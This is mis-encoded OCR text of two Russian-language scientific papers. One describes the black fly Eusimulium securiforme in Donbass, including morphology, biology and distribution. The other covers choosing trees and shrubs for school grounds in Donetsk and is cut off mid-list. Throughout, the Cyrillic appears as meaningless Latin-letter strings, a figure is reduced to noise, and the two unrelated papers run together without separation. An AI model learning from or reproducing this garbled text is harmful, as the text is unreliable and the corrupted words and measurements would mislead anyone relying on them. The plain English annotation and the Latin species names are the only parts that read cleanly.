AKUBOTHBIX. VIX yKyCbl 00JIE3HEHHBI, a CIIFOHA OYE€Hb TOKCHUHA U BBI3BIBAET CUMYJINI0TOKCUKO3
[1]. Kpome TOro, MOIIKM — TEpPEHOCYUKU BO3OymuTened psga HHOEKIUOHHBIX U
WHBa3WOHHBIX 3a00JICBaHUM. [2]

Llenp paboThl — BBIABIEHUE BUAOBOIO COCTaBa M M3ydyeHHE OMOJIOTUH MOIIEK poja
Eusimulium, Roubaud 1906 na teppuropun Honbacca. B manHO# pabore paccMoTpum
ounosoruro Buga Eusimulium securiforme Rubzov, 1956 xak HanGoee MHOTOYMCIIEHHOLO.

Marepuanbl M1 METOABI.

MatepuanoM ajst HamucaHusl padoThI MOCTYKUIIH COOCTBEHHBIE COOPHI U HAOTIOICHMS,
MUKpOTpenapaTbl CUMYJIUU]I, XpaHsSIIIUecs B KOJUIEKIMHU Kadeapbl 300JI0TUM U IKOJIOTUU
JIOHEKOro HaIMOHAJIBHOI'O YHUBEPCUTETA, U JIUTEPATYPHbIE IaHHBIE.

Mopdornoruueckoe u3ydeHHe, U3rOTOBIEHUE MUKPOIPENapaToB MOIIEK U M3y4eHHE
OMOJIOTMH TPOBOAMIIM 110 001enpUHATHIM MeToiukaM M. A. PyOuosa [3] u 3.B. YcoBoii u ap.
[4].

Pe3yabTaTsl ucciaenoanuii. Ha tepputopun Jonbacca o6HapyxeHO 4 BUa MOIIEK
poxa Eusimulium, Roubaud 1906:
1) Eusimulium aureum (Fries, 1824);
2) Eusimulium krymense Rubzov;
3) Eusimulium angustipes (Edwards, 1915);
4) Eusimulium securiforme Rubzov, 1956.

E. securiforme — naubosee MHOrouuCIeHHBIH Bua poaa Eusimulium wa tepputopun
Jlonbacca.

Hwxe npuBoguM onvcanue BUa.

Eusimulium securiforme Rubzov, 1956 (puc. 1)

PyoroB, 1956: 833, SIukoBckwuii, 2002: 15,371, 375, 378, 380; CyxomiuH, 3unueHko, 2007: 94 — 99.

Cawmka. Jlmnna Tena — 2,6-2,9 M.

l'onosa. Jlo6 TpaneuneBuaHbIiA, Boicokui (0,18 Mm) u mmpokwuii (0,13 Mm), rycto u
PaBHOMEPHO MOKPHIT BosiockaMu. JIuio okpyrinoe (JuuHa — 0,22 MM, mupuHa — 0,25 Mm),
0oJsiee cBEeTNIOE B HUKHEH YacTH, paBHOMEPHO OITYIIIEHO BOJIOCKaMH, TOJI0€ JIUIIh B BEpXHEH
yacTu. Ycuku uepHsle. Lynvku nnuHHBIHN, 2-11 wieHuk KpynHbid (yuHa — 0,15 MM, mpuHa
— 0,10 mm), B 2 pa3a mupe 3-T0 4ieHuKa. 4-il YICHUK TOHKUM W JJIMHHBIN, €r0 AJIMHA B Y2
pa3a MpeBbIlIaeT UIMHY 2-T0 ¥ 3-T0 4YJE€HUKOB BMecTe B3AThHIX. JlayrepOopHOB opraH
KPYIIHBIH, €ro ATUHA U MIUPUHA 3aHUMAIOT OoJiee Y2 IJIMHBI U IUPUHBI WieHnKa. ManauOyna
Ha JUCTAJIPHOM KOHIIE CKOIlleHa, uMeeT 20 BHYTPEHHUX M 6 Hapy)KHBIX 3yOI10B. Y MaKCHILTBI
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15 BHyTpeHHUX U 9 HApYKHBIX 3yOII0B. [ TOTOYHBIN CKIEPUT NpsIMOYTOabHbIN (1auHa — 0,20
MM, mmupuHa — 0,11 mm), ¢ Hebonbmmmu (0,04 MM) BEIpOCTaMU TTO OOKaM.

I'pynb. CrivHKa B I'yCTBIX 30JI0TUCTBIX BOJIOCKAX.

Horu. Okpacka nepeaHux rojieHeil yepHasi B BEpIIMHHON YETBEPTH, HA ¥4 OT OCHOBAHUS
— xenToBaTo-Oenble. beapa nepeqHUX, CpeIHUX U 3alHUX HOI YEPHBIE JIMIIb B BEPIIMHHON
TPETH, K OCHOBAHUIO CBETJIO-OXPsIHBIE. | -1 WIEHUK EPEJHUX JIANIOK YIIJIOLEH, CPABHUTEIBHO
KOPOTKHMM, €ro JUIMHA IPEBOCXOAUT WIMPUHY B 7 pa3; |- wieHMK 3agHUX JaloK C
HapajuleIbHBIMU KPassMM, €ro JUIMHA [IPEBOCXOAUT IMPUHY B cpeaHeM B 6 pa3. Kanpuunana
xopomio pa3Buta (muuHa — 0,04 MM), 3aHUMaET MOYTH IOJOBUHY IIMPUHBI YJIECHUKA Ha
nucTanbHOM KoHIe. [lequcysbkyc ¢ Tiiy00KoM BRIEMKOI, 3aHUMAIOIIEH 72 ITUPUHBI YWICHHKA.

Bpromko. Bunouka ¢ ToncteiM crebensrom (ero mmHa — 0,18 mm) u Beicokumu (0,10
MM) pacIIMPEHHBIMM BETBAMH, KOTOpbIE pacxoiarca mox yriom 60-65°. IenurtanmbHble
TUTACTUHKY s3bIKOBUAHBIE, mmpokue (0,09 -0,10 MM) co cna®o BBITSHYTBIM BHYTPEHHUM
kpaem (0,02-0,03 mm), cuiibHee 3aTeMHEHBI IO BHYTPEHHEMY BEPXHEMY Kparo, OMYIICHBI
pEeIKUMHU BOJIOCKaMHU. AHAJIBHBIC TUTACTUHKY CJIOKHON HerpaBuiIbHON Gopmsal (mmHa — 0,08
MM, mupuHa — 0,17 MM), ¢ BBITAHYTBIM HIMIIOBHUIHBIM BBIPOCTOM M BOJIOCKAMH I10
BHYTPEHHEMY BepxHeMmy Kpato. Llepku HempaBmibHO-TIpsiMOyroibHble (unHa — 0,08 M,
mmpuHa — 0,19 Mm), HarboJsee rycTo OnyIeHs! 0 HIKHEMY KPao.

Cawmer. /Inuna tena — 2,3-2,5 Mmm.

I'onoga. JInneBoii Kiiib OBaIbHBIN, HU3KO-KOJIOOBUIHBIHN, ITOYTH KBApaTHBINA (JNTMHA —
0,15 MM, mmpuna — 0,16 MM), OmymIeH IMHHBIMH BOJIOCKaMH, KOTOpbIe Oojiee TYCTO
pacmooKeHsbl o 00KaM. Y CUKH TeMHO-KopuuHeBble, AnuHHbIe (0,51 Mm), 3-i1 unenuk (0,07
MM) B 1,5 paza anunHee 4-ro. Llynuku cBeTiao-kopuuHeBble, 2-i uneHukK no aiauHe (0,12 mm)
paBeH 3-my, 4-if 9yTh KOpo4€e 2-T0 U 3-Ir0 WIEHUKOB BMECTE B3STHIX.

I'pynb. ChouHka 4yepHas B SIPKO-30JOTHUCTBIX BOJIOCKaX, CepeOpUCThIe TMSTHA
OTCYTCTBYIOT.

Horu. Oxpacka TemHasi, 6esipa 1 rosieHu 0ojiee MHTEHCUBHO 3aTEMHEHBI y BEPIIUHBI. |-
W YJIeHHUK MepeHel JNanKu JUIMHHBIN, unHapuyeckuit (mmna — 0,45 MM, mupuaa — 0,05
MM), kopoue rosienu (0,58 mm). Kanpuunana xopouro passuta (JumHa 0,03 MM), 3aHUMaeT
YyTh MEHBIIIE [TOJIOBUHBI IIUPHUHBI YWICHUKA HA JUCTAJIILHOM KOHLIE.

Bbpromko. I'oHocTepH cxaT ¢ O60koB, kproubs anuHHbIE (0,13 MM), TOHKHE, clerka
paciupeHsl! Ha BepiinHe U B 1,5 paza jymmnaee Tena (0,08 MM), KoTopoe OImyIeHO JIMHHBIMU
IYCTBIMU BOJIOCKaMH. ['OHOKOKCHUT KpPYIHBIM, CykeH K ocHoBaHMio (JuimHa — 0,22 mwm,
HauOonpmas mupuHa — 0,21 MM, Haumenbmast — 0,07 MM), ¢ BHyTpeHHEH CTOPOHBI T'YCTO
OIyIIEH JJIUHHBIMU (OJMKe K BHYTPEHHEMY Kparo) M KOPOTKMMH (B LIEHTPAJIbHON YacT)
BOJIOCKAaMH; JlaTepaibHbld BbIpocT KpynHbid (0,10 MM), pacmmpeHHO-CTPETOBUAHBIN.
['oHocTHNIM canoKKOBUIHBIE, KOPOTKHE (MX JJIMHA paBHA MOJOBUHBI JITTMHBI TOHOKOKCUTOB)
C KpYNHBIM LIMIHUKOM Ha BepumuHe. ['oHodypka B Buae anuHHOM (0,16 MM), y3KOii
IJIACTUHKH, PACIIMPEHHON Ha KOHLIAX.

JInumnka. [nmmna Tema — 6,5-6,7 Mmm. Okxpacka Tena CBETJIO-XKENTas Co
CBETJIOOKPAILIEHHOW r'OJI0BOIA.

I'onoBa. Pucynok Ha n0y 4eTkuil KpecTooOpas3HbIil, cpenHHBIE U OOKOBBIE MATHA
3aKIIIOYCHBI B TEMHOE «007auko». AHTeHHa odeHb jumHHas (0,55 mMm), 1-i-3-i1 wieHUKH
MOYTH PaBHBI MO JUIMHE, 3-i camblil TOHKUH. B Gomnbiom Beepe 57-60 mydeit. ManauOyna
npsmoyronbHas (umHa — 0,30 MM, mupuHa — 0,16 MM) ¢ BBITYKJIBIM BEPXHHM Kpaem.
BepmuHHbIil  3yOell KpymHBIH, pacHIMpeH y OCHOBAaHMSA, €ro JJIMHA JO MEepeIHero
MpeBepIIMHHOrO 3yo1a pasHa 0,022 MM; iepeHHI IpeIBEPIINHHBIN 3y0ell paBeH Mo JJI1He
3aJJHEMY U B 2 pa3a TOJIIE ero; CPeIHUI — HUXKe UX YPOBHS; BHYTPEHHUX 3yOI0B §; KpaeBble
3yOLbl KpYIIHBIE, OCTpbIE LIMPOKO PACCTaBJIEHBI, MEpeAHUN B 2 pa3a Oojblle 3aJHErO.
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Makcwuisapabiii mynuk aHHBIA (0,14 MM) u Ttonkmid (0,04 mm). CyOMEHTYM CyxXeH
cnepenu (mmmHa — 0,14 MM, mupuna — 0,08 mMMm), Hecer mo OokaM 1O 3-5 MIETHHOK.
BentpanbHbIil BRIpE3 MaJICHBKUMN, MOTYJIYHHOU (OpMBI, 4yTh yaiauHeH (mmuHa — 0,14 MM,
mmpuHa — 0,12 MM), paccTosiHUE OT €ro BEpLIMHEI 10 cyOmMeHTyma He Oosee 0,30 Mm.

bpromiko. Bepxuue BeTBu XuTHHOBOM pambl kopoTkue (0,11 mm), mmupokue (0,05 mm),
ITOKPBITHI MEJIKUMU IIUIIMKAMU, HUKHUE — uyTh JuinHHee (0,16 MM) BepxHUX, focTUraror 13-
O pslla KPIOUbeB MPUKPEMUTETHLHOTO OpraHa, KOTOpblid cocTout u3 70-75 psaoB KproubeB MO
13-15 KprOYKOB B K&XKIOM PSIy.

Kykosnka. [lnuna tena — 2,7-3,3 mm.

Koxkon npoctoit. JlpixarenbHbiii HUTEW — 4, BEpXHsS Iapa TOJIIE HUKHUX, U3 HUX
BEPXHSISI HUTh CJIETKAa M3rH0aeTcs M HIET BBEPX. YTOI, 00pa3yeMblii BEpXHEW M HIDKHEH
HuTHI0, paBed 110-115°. Teprutsr Boopyxens! kproukamu Ha |1l — IV-M cermenrax; VI-ii
TEPrUT TOJNbIH; HaunHast ¢ VI-ro cermMeHTa, TEpruThl HECYT 10 OJHOMY PSIIy Pa3sHOBEITHKHX
HUIUKOB. V|- TePruT UMEeT HeMOIHbIHN ps MUNUKOB. KaynaabHbIN MMM HEKPYITHBIH.

Cucrtemarnueckue 3amMedanus. OT THIHYHBIX (POPM OTIHYAIOTCS ACTAISIMHU B CTPOCHUHT
MOJIOBBIX MPUJIATKOB M OTYACTU MOPQOJOrued JIUYMHKU. Y Hamux (GopM TOHOCTEpH
KpPYIHBIH, OIYIIEH OYeHb JUIMHHBIMH BOJIOCKAMH, KPIOYbsS HETOJICThIC, JICHTOBHHBIC.
l'onoctunu Oonee yanWHEHHBbIE. PUCYHOK Ha TOJOBHON Karcyne JHMYMHKA YETKHH,
CpeUHHbIE 1 OOKOBBIE IISITHA OKPYKEHBI TEMHBIM «001aukomM». CyOMEHTYM HeceT 110 OoKaM
o 5-6 MIETUHOK.

Mg

L u"'] L
ﬁm m= .

i

Puc. 1 - Eusimulium securiforme Rubzov, 1956.

YcnoBHbIE 0003HAUEHUS: @ — AaHTCHHA JIMYUHOK; all — aHAIbHBIE TNTACTUHKU CAMKU; B —
BUJIOYKAa CaMKH, BB — BeHTpaJ'IBHI—;IfI BBIPE3 JIMYNHKU, T'JIC — TJIOTOYHEIN CKJIICPUT, TK —
TOHOKOKCHT; TTI — T€HUTAIbHBIE IJIACTUHKU CAMKH; I'C — TOHOCTHIIb; I'T — TOHOCTEPH; T —
FOHObepKa; o0 — HLIX&TGHBHBIfI OopraH KYKOJIKHU; Ka — KaJIbIIUIlaJIa, KI' — KOI'OTOK; KPK —
KpIOUbs Ha OPIOIIKE KYKOJIKH; JIO — 100 CaMKH; JIU — JIUIIO CAMKU; JIK — JIMIIEBON KUITh
caMI1a; JI0 — JIayTepOOPHOB OpraH; JIC — JIOOHBIN CKICPUT JTUINHKU; M]T — MaHAHOYIIa; MK —
MaKCHJIJIa; MKIIl — MaKCUJUTSIPHBIN IIyNHK; H — HOTQ; HIJT — HAATJIOTOYHHUK; CM — CYOMEHTYM
JIMYWHKH; Y — YCUK; X — XUTUHOBAsA paMa JUUYUHKHU, I — OECPKH; 1T — ITYITUKN

buonorusa. Bug muorouncnennsiii. Hacensier pydbs v Majbie peKU OTKPBITBIX TPOCTPAHCTB,
MCJICIOIIUC WM TMECPCChIXA0MMUC JICTOM, BBITCKAIOMIMEC W3 MPYAOB, O3CPp U OTKPLITBIX
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3a00JI0UEHHOCTEMH, a TaK)Ke YJacTKH CIUSHUS MaJlbIX peK ¢ nmpuTokamu. Boga myTHasi, 1HO
WIHCTOE, Oepera TOIMKHE, 3apociine BOAHBIMU pacTeHusiMu. [Ilupuna BomoTokoB 0,5-2 M,
riryouna 0,3-0,5 m, ckopocts TedeHus Boasl 0,3-0,6 m/cexk.

3umyer B (aze siina. PaspuBaercs 2 renepanuu B rony. CaMKH OTKJIQZBIBAIOT Siflla Ha
MOBEPXHOCTH IJIABAIOIIEH PACTUTEIHHOCTH JYITMHHBIMH Y3KUMHU Ky4YKaMU B HECKOJIBKO CJIOEB.

[lepBble TUYMHKH MOSBISIOTCS B TIEPHUO/T ClIa/ia BOABI MOCIE BECEHHET0 MOJIOBOAbS (B
KOHIIe MapTa — Hauane ampens) npH Temmneparype Boasl 10-12°C. OkykieHHe IMUMHOK M
BBUIET MMaro HabIiofaeTcs B Mae — MIOHe IpHu Temmeparype Boasl 12-16°C. ITnorrocTs
JIMYUHOK B Mae Mepe OKYKIMBAaHHEM B peKax 00baHO cocTaniser 280-350 mr/mqM?, B pyubsx
— okono 60-90 mr/mm?. C HIons 10 CEHTAOPS HMAeT Pa3BUTUE BTOPOH TE€HEPALlHH IPH
temneparype Boasl 19-20°C. Kposococymas akTMBHOCTh HaOJIOJagach B Mae M HIOHE.
CaMKH SIBISIOTCSI KPOBOCOCAMU MTHIL, PEKE — KPYITHOTO POraTo CKOTa U YEJIOBEKA.

Mecra oOHapykeHus: pyubd U Maibie peku Jlonernkoro I[lnato, movimel p. CeBepckuii
Honew, p. Muyc.

Ob6mee pacmpoctpanenue. EBponeiickas yacte CHI', Cpenusis, Bocrounas u FOro-
Bocrounas Espona.

BoiBoabl.

1. Ha ocHOBaHMM HamIMX HCCIENOBAHUN U aHAlM3a JIMTEPATYpHBIX NTAaHHBIX Ha
tepputopun JlonOacca obHapyxkeHo 4 Buma momek poxa Eusimulium: E. aureum (Fries,
1824); E. krymense Rubzov; E. angustipes (Edwards, 1915); E. securiforme Rubzov, 1956.

2. BctpeuaeMocTh BU1a MaJIOYHCIICHHAs, 32 HCKITI0UeHneM E. securiforme, ou siBnsiercst
Han0oJee MHOTOYHCIICHHBIM.

3. Mectamu 0OUTaHHS MOIICK SBJISIIOTCS XOPOIIO MPOrpPEeBaeMbIe py4YbH, POJHUKU U
MaJble pekd ¢ ObICTphIM TedeHneM. CyOcTpaToM ciyKaT JTUCThS OMaja U CBHCAIOIIAs B BOJY
PacTUTENBHOCTb.

4. E. securiforme siBysit0TCSI KPOBOCOCAMHU TITHII, )KUBOTHBIX U Y€JIOBEKA. Y OCTAbHBIX
BUJIOB KPOBOCOCAHUE HE 3apErUCTPUPOBAHO.
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BLACK FLIES OF THE GENUS EUSIMULIUM ROUBAUD, 1906 OF DONBASS

Annotation. This paper describes the morphology of the most numerous species of Eusimulium securiforme
Rubzov, 1956, belonging to the genus Eusimulium. The biology of the development of this species on the
territory of Donbass has also been studied.
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YK 582.093:373:712.4

JIPEBECHBIE PACTEHUSA ITPUIIKOJbHOM TEPPUTOPHUM: IIPUHIIATIBI
IHOABOPA U CITOCOBBI UCITOJIB3OBAHUA

Hlynvea O.U.
Hayunwui pyxosooumens: I puovko O.A., kano.ouon.nayk, oouenm
TIoy BIIO «/IOHHY»

Annomayus. PaccMOTpeHBl NPUHLIMIBI TOAOOpa acCOPTHMEHTa M CHOCOOBI MCHOJB30BAaHUS JIPEBECHBIX
pacTeHul Mpu 03eJeHEeHUH MPUIIKOIbHOM Tepputopuu. IIpeanoskeHHbI acCOPTUMEHT IPEBECHBIX pacTEHUH
SIBIIICTCA aJlalTUPOBAHHBIM K YCJIOBHUAM I. JlOHEIKa U PEKOMEHAOBAaH IJIs IIUPOKOrO BHEAPEHUS B MPAKTUKY
03€JICHEHHS TPHUIIKOJIBHBIX TEPPUTOPHUH.

Kniouegvie cnoea: ozeneHenue, NpUIIKONbHAsE TEPPUTOPUS, IPEBECHBIE PACTCHUS.

Co3nanue OoNTUMAabHBIX YCIOBHHA I ()OPMUPOBAHMS YCHEIIHON JIMYHOCTH SIBIISETCS
HEMAJIOBXHBIM  (DaKTOPOM  COBpeMEHHOro oOpa3oBaHus. (O3eJeHEHHE MPHUIIKOIBHON
TEPPUTOPHU SIBJISIETCSI OJJHOM M3 00sI3aTENIbHBIX COCTABIISAIOIIMX OaroycTpoicTBa M MMeeT
Ba)kKHel111ee 3HaUeHUE /171 IPOBEAECHUS y4€OHO-BOCTIUTATEIbHON U 03/I0POBUTEIIBHOM paboThI CO
HIKOJIbHUKaMU. HecMoTpst Ha TO, 4TO B HacTosllee BpeMs, MPU O3€JICHEHUH IPHUILKOIbHOIO
y4acTKa HCHONB3YIOT SKOJOTO-NIAHIMAPTHRIN MOAXOMA, HPENNONATAIOIINA  ONTUMH3AIHIO
TEPPUTOPHUM M CO3JaHUE HAa HEH OTHOCUTENBHO YCTOMYMBOM 53KOCHUCTEMBI, Ipoliiema
OpraHM3alKi TPHUIIKOJIbHON TEPPUTOPUM OOJBIIMHCTBA OOpPA30BATENbHBIX YUPEXKICHUM
OCTaeTCsl aKTyaJbHOM U TPeOyeT peleHus..

Lenp paboThl — aHaNM3 MPUHIMIIOB MMOJ00pa M CIIOCOOOB HMCIOJIL30BAHUS JIPEBECHBIX
pacTeHuii Ha TepPUTOPUH 001IE00PA30BATEIBHBIX YUPEKICHUH.

[Ipyn opranu3zanuy NPUIIKOIBHOM TEPPUTOPUM BaKHAsl pOJIb MPHUHAIJIEKHUT 3€JIEHBIM
HACAKIECHUAM, OCHOBHBIMH (YHKIMSMH KOTOPBIX SBJSIOTCS: CaHMTapHO-TMIMEHMYEcKas,
COIMATbHO-03/I0POBUTENTbHAS, SCTETUYECKAst U COIMATIbHO-BocTuTarenbHasi [ 1]. B cooTBeTcTBUM
C TMpHUHIMIIAMA W HOpPMaMmM O3€JeHEHHs oOIeoOpa3oBaTeNbHbIX —YyupexaeHuil [2],
PEKOMEH/IyeMbIii YpOBEHb 03elieHeHHOCTH ydactka — 40% ot oOmieir Teppuropun. Ilnomanp
O3eNleHeHHs YJacTKa JOJKHA HCXOIUTh U3 pacdera 0,9-1,3 M? o3eneHeHHo# TeppuTopuy Ha 1
pebenka. [110THOCTB OCaAKK IpEBECHBIX pacTeHUH Ha | Ta IUI0IIaaM y4acTKa OpUEHTHPOBOYHO
cocrasisieT 100-200 nepeBbeB u 1200-1500 xycTapHUKOB.

IIpu mocanke HEOOXOAMMO YYWTHIBATh, YTO PACCTOSHHE MEXIY HHU3KOPOCIBIMU
KyCTapHUKaMHu B rpymmne JommkHo Obith 0,8 M, mMexnay cpemHepociasiMu — 1,2-1.5 M m
BBICOKOpOCIBIMU — 10 2 M. [Ipu mocajkax HY)KHO YUYUTHIBaTh PACCTOSIHUE JI0 IPOE3IOB,
TUIOIIA/IOK, 3/1aHHM, a TaK)Ke HMHTEHCUBHOCTh POCTa U BEJIMYMHY B3pOCibIX pacteHuil. [locaaka
JIepeBBEB JIOJDKHA MPOM3BOMUTHCS He Omke 10 M, KycTapHUKOB — 5 M OT (acaJioB 3/aHuil.
Paccrosinue ot nepeBbeB 10 kpas 1opoxkek — He MeHee 0,75 M, OT KyctapHHKOB — He MeHee 0,3
M. Huskopociible KyCTapHUKHM pEKOMEH TYETCsI BBICA)KUBATh OT IIPOE3/10B Ha paccTtostHuu 0,5 M, a
BBICOKOPOCIIbIE — JAJIBIIIE.

IIpu nmoxbope pacTeHHil OCHOBOIOJATAIOUIMMH ACTIEKTaMH SIBIISIFOTCS: SKOJIOTHYECKHE
yCJIOBUSI paiioHa, B KOTOPOM pacroJyiaraercs OOBEKT, MOPOAHBIA COCTaB YK€ HMEIOIIErocs
O3€eJIeHeHHs, a Takxke (PyHKIMOHATIbHOE 30HUpOBaHKEe TeppuTopHu. K accopTUMeHTy pacTeHuit
JUISl TIPUIIKOJIBHOW TEPPUTOPUM TMPEIbSIBISIOT pAl TpeOOBaHUM: PACTEHUS IOJDKHBI OBITH
MaJIOyXO/IHBIMH U CO3/1aBaTh OJaroNpHATHBIM MUKPOKIMMAT Ha TEPPUTOPUH LIKOJbI, 00Ja1aTh
HE TOJIbKO JI€KOPaTUBHBIMH KadyecTBaMH, HO M ObITh 0O€30IacHbIMH, HE MPOBOLMPOBATH
AJUIEPTMUECKUE PEAKLHH, a TaKKE CIYXWUThb JIOTOJHUTEIbHBIM HAIIAHBIM MaT€pUaIOM IS
YCBOEHMS ILIKOJIBHOM IporpamMmel 1o 6uosnoruu. Ipu nogbope pacTeHuii ciaeayer UCIoib30BaTh
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HE TOJBKO MECTHYIO (JIOpy, HO ¥ TIOPOJbI, IMPOIICANIME YCIICITHOE WHTPOMYKIIMOHHOE
ucnbiTanue B ycioBusix Jlonbaccea [3, 5, 6].

ACCOpTI/IMeHT 3CJICHBIX Haca)KI[CHI/Iﬁ Ha HpPII.HKOJ'IbHOﬁ TEPPUTOPUUN OIIPEACTIACTCA C
y4eToM (YHKIMOHATBHOTO HasHadyeHus [2]. Jns kaxmaod w3 (QyHKIMOHAIBHBIX 30H Ha
TEPPUTOPHUHN IIKOJI HMXKE MPEACTABICHBI PEKOMEHAYEMBIC IMOPOABI ACPEBHLEB U KYCTAPHUKOB,
KOTOpPbIC MOT'YT OBITh UCITOJI30BAHbI MIPH O3€JICHEHUH B ycioBusix JlonOacca [4 — 7).

OzeneHenue IEHTPAILHOM (TTAPTEPHOI) 30HBI U 30HBI TOP)KECTBEHHBIX MEPOTPHUSATHIA
TpeOyeT 0co00ro BHUMaHHS M TIIATEIILHOTO MO00pa PacTUTENILHOTO cocTaBa pacteHuil. Kak
MIPaBUJIO, TIPH TTOJIOOPE aCCOPTUMEHTA PACTEHUH ISl TAPTEPHOM 30HBI MPEANIOUYTEHHE OTAAOT
YCTOI‘/'I‘{I/IBBIM K FOpO,I[CKOfI cpeac nmopoaaM € 3CTCTUICCKUMU CBOﬁCTBaMPI, HCXOd U3 CPOKOB U
JJINTCIIBHOCTHU IIBECTCHUS. TaK, HCJ’ICCOO6p33HO HCIIOJIb30BaTh BECCHHC-LIBETYIINEC (Spiraea
xvanhouttei (Briot) Zabel, S. xcinerea Zabel, Mahonia aquifolium (Pursh) Nutt., Cornus alba L.
‘Elegantissima’, C. sericea L. 'Flaviramea', Forsythia xintermedia Zab. 'Maluch’, Paeonia
arborea Donn.) wu ocenne-uBerymue (Hydrangea paniculata Siebold., Caryopteris
Xclandonensis Simmonds., Rosa hybridum hort.) kycrapauku. Ocob6oe BHUMaHHE 3aCTy)KUBAIOT
PEMOHTAHTHBIE KYCTApPHUKH, TMEPHOJ IBETCHUS KOTOPHIX PACTSHYT C HIOHA 1O CEHTSOph
(marrpumep, Spiraea xalpina Pall., S. japonica L. 'Gold Princess’, S. japonica 'Goldmound’,
S. bumalda Burv., Sorbaria sorbifolia (L.) A. Braun., Weigela floribunda (Siebold & Zucc.) C. A.
Mey.), a Takke KyCTapHHKH, OOJAIarolMe CEe30HHOW nexkopathuBHOCTHIO (Euonymus alatus
(Thunb.) Siebold., Viburnum opulus L.) [4, 6].

HJI}I JOCTHXXCHH BBICOKOI'O ACKOPATHUBHOI'O 3(1)(1)6KT8. YAa4HbIM 6y):[eT HCIIOJIb30BaHUEC
TaKuX IMPHUEMOB pasMCIICHUSA paCTeHHP'I, KaK I'pyHniibl U3 HU3KOPOCJIbIX KYCTAPHUKOB (Spiraea
japonica 'Goldflame) wu ©Gopmioper (Spiraea  xalpina), OKaUMIIAIOIIHE TOPOKKH;
CBOOOIHOPACTYIIIKE COTUCTHI CPEAHEPOCTbIX KycTapHUuKOB (Caryopteris %clandonensis, Spiraea
xvanhouttei, Hydrangea paniculata), rpynmer (Cornus alba 'Elegantissima’, C. sericea
'Flaviramea', Forsythia xintermedia 'Maluch', S. japonica 'Gold Princess’, S. bumalda), a raxxe
psiiossie mocaaku (Hydrangea paniculata, Weigela floribunda).

CrnenoBarenpHO, MyTeM MOAOOpPAa M COYETaHHs] PACTEHUH MO IEHHBIM OMOJIOTUYECKHM
CBOfICTBaM, 9CTCTUYCCKMM Ka4YeCTBaM, TAKXKC CpPOKaM W IMPOAOJDKUTCIBHOCTU LBCTCHHSA, B
IICHTpaJIBHOfI 30HC U 30HC TOPKCCTBECHHBIX MepOHpI/IHTI/II\/'I MOryT OBITh CO3JaHbl KOMIIO3UIIUN
HCMPCEPLIBHOI'O IBETCHUSA B TCUCHUC BCCTO BEICTALIMOHHOT'O IIEPHUOIA.

B CHOpTHBHOfI 30HC paCTCHUA HOJIKHBI, B IICPBYHO OUCPC/b, U30JIMPOBATH IJIOIAAKU C
AKTUBHBIMH U INTYMHBIMH 3aHATHAMHU OT OCTaJIbHOU TCPPUTOPUH. Haca)KZ[eHI/I}I CHOpTHBHOfI
30HBI PasMEIIAOT Ha HEOOJIBIINX Pa3aCIMTCIIBHBIX II0JIOCAX B BHUAC PAHOBBIX IIOCAJAKaAX
ACPCBLEB NJIN JKHUBBIX HSFOpO,HCﬁ N3 KYCTapPHHUKOB. Ha KPYIHBIX ITIO TNIOMAAN YHACTKAX MOI'YT
OBITE PasMCIICHBI I'PYIIIIOBBIC ITOCAAKH JPEBCCHBIX paCTeHHﬁ. I[JISI 3(1)(1)CKTI/IBHOFO BBIITOJTHCHU S
ITyMO3AIIUTHON (PYHKIIMH 11€7I€CO00pa3HO MCIOIB30BATh JKUBBIE U3TOPOIH W3 BHICOKOPOCIBIX
KyCTapHUKOB, Takhe Kak Spiraea xvanhouttei (Briot) Zabel, Syringa vulgaris L., Viburnum
opulus., copra Forsythia xintermedia, Philadelphus coronarius L., Physocarpus opulifolius (L.)
Maxim., Salix rosmarinifolia L. Kpome Toro, B COpPTHBHO# 30HE BBICAKHBAIOT JICPEBBS C
paCKHHHCTOﬁ KpOHOI\/'I, KOTOPBIC MOT'YT 3alllMIIATh MECTa IJIA OTAbIXa OT aKTUBHBIX COJTHCYHBIX
nydeit [2]. dnst atoro mogoiimyt Acer platanoides L., Tiliaxeuropaea L., Quercus robur L. u ap.

YueOHO-OIBITHAS 30HA BKIIIOYAET B CeOs TUIOMAIKA U MPOBCACHUA 3aHATUN 101
OTKPBITBIM HeEOOM H HJIO,Z[OBO-HI‘OIIHLIf/'I can. HpI/I opraHnusanuu STON 30HBI HCO6XOILI/IMO
obecrreunts €é N30JIU0  OT ApYrux IUIomM@anaoK IIpyu IMOMOIIU JKUBOU u3ropoan us3
BBICOKOPOCJIBIX KYCTAPHUKOB WJIM HU3KOPOCJIBIX ACPCBLCB. ACCOpTI/IMCHT SKUBOH HU3ropoau
MOXeT cocraBuTh copta u Buma Physocarpus opulifolius 'Luteus’, P. opulifolius 'Diabolo’,
Euonymus alatus (Thunb.) Siebold., Syringa vulgaris, Forsythia Xintermedia, HU3KOPOCIBIX
nepeBbeB — Caragana arborescens Lam., Laburnum anagyroides Medik.
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Yarre Bcero, B IUJIOMOBO-SITOMHOM Caay pa3MeEIICHbI Takue jaepeBbs, kak Amelanchier
ovalis Medik., Malus niedzwetzkyana Dieck ex Koehne, Sorbus aucuparia L., a Taxke BHIbI
pomos Pyrus L., Prunus L., Malus P. Mill., Cydonia Mill. u ap; u3 kycrapuukos — Viburnum
opulus, Lonicera edulis Turcz. u mp.

[Ipu oprann3anum X03siCTBEHHON 30HBI 110 IEPUMETPY MPOEKTUPYIOT ITIOTHYIO KUBYIO
U3ropoJib U3 JIPEBECHBIX PACTEHUN WM 3€JIEHBbIE CTEHbI C MCIIOJIb30BAHUEM JIMAH, TaKMX KaK
Campsis radicans (L.) Seem., Parthenocissus quinquefolia (L.) Planch., P. tricuspidata (Siebold
& Zucc.) Planch. 'Veitchii'.

30Ha OT/AbIXa BKJIKOYAET PEKPEALMOHHBIE IUIOMIAJKHU Ui KPAaTKOBPEMEHHOIO OTIbIXa
00Yy4YaroLIMXCsl, @ TaKXkKe MPOTyJIOK U UIP MIKOJIBHUKOB IPYIIIBI MPOUIEHHOTO JTHS. B cBsi3m ¢
3TUM (YHKIMOHAIBHOE IpeAHa3HAaYeHHE PACTEHHH ATOW 30HBI — CO3/aHHME YCIOBUH I
a’paluy U MHCOJSIMHY, a TaKKe 00ECHEUeHHE CHIDKEHUS LIyMa U M3O0JSLMU OT OCTAIbHOM
tepputopun. [lpu 3TOM, C WEIBIO CO3AAaHUS YACTUYHOIO 3aTE€HEHUs, PEKOMEHIOBAHO
HCITOJIb30BATh JIePEeBbhs ¢ packuaucThiMu kponamu (Betula pendula Roth., Tilia xeuropea, Acer
platanoides, A. pseudoplatanus L.), a taxxe rpymmsl Huskopocisix (Potentilla fruticosa L., S.
